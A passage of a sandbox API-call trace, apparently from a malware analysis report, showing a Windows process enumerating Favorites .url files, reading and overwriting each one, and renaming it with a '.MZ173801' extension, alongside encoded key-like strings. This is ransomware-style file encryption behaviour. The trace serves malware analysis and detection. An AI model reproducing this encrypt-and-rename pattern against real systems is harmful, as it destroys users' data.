TQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.458] GetCurrentThreadId () returned 0x9fc [0144.458] GetCurrentThreadId () returned 0x9fc [0144.458] GetCurrentThreadId () returned 0x9fc [0144.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.459] GetCurrentThreadId () returned 0x9fc [0144.459] GetCurrentThreadId () returned 0x9fc [0144.459] GetCurrentThreadId () returned 0x9fc [0144.459] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.459] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.459] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.459] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xe2 [0144.459] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.460] ReadFile (in: hFile=0x2a8, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f3f8*=0xe2, lpOverlapped=0x0) returned 1 [0144.461] CloseHandle (hObject=0x2a8) returned 1 [0144.461] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.463] WriteFile (in: hFile=0x2a8, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f404*=0xe2, lpOverlapped=0x0) returned 1 [0144.464] CloseHandle (hObject=0x2a8) returned 1 [0144.464] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url.mz173801")) returned 1 [0144.464] GetCurrentThreadId () returned 0x9fc [0144.464] GetCurrentThreadId () returned 0x9fc [0144.464] GetCurrentThreadId () returned 0x9fc [0144.464] GetCurrentThreadId () returned 0x9fc [0144.464] GetCurrentThreadId () returned 0x9fc [0144.465] GetCurrentThreadId () returned 0x9fc [0144.465] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.465] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ead880, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ead880, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.465] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.465] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.465] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.465] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.465] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.465] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.469] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.469] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.472] GetCurrentThreadId () returned 0x9fc [0144.473] GetCurrentThreadId () returned 0x9fc [0144.473] GetCurrentThreadId () returned 0x9fc [0144.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.473] GetCurrentThreadId () returned 0x9fc [0144.473] GetCurrentThreadId () returned 0x9fc [0144.474] GetCurrentThreadId () returned 0x9fc [0144.474] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.474] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.474] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.474] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.474] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.474] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.475] CloseHandle (hObject=0x2a8) returned 1 [0144.475] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.477] 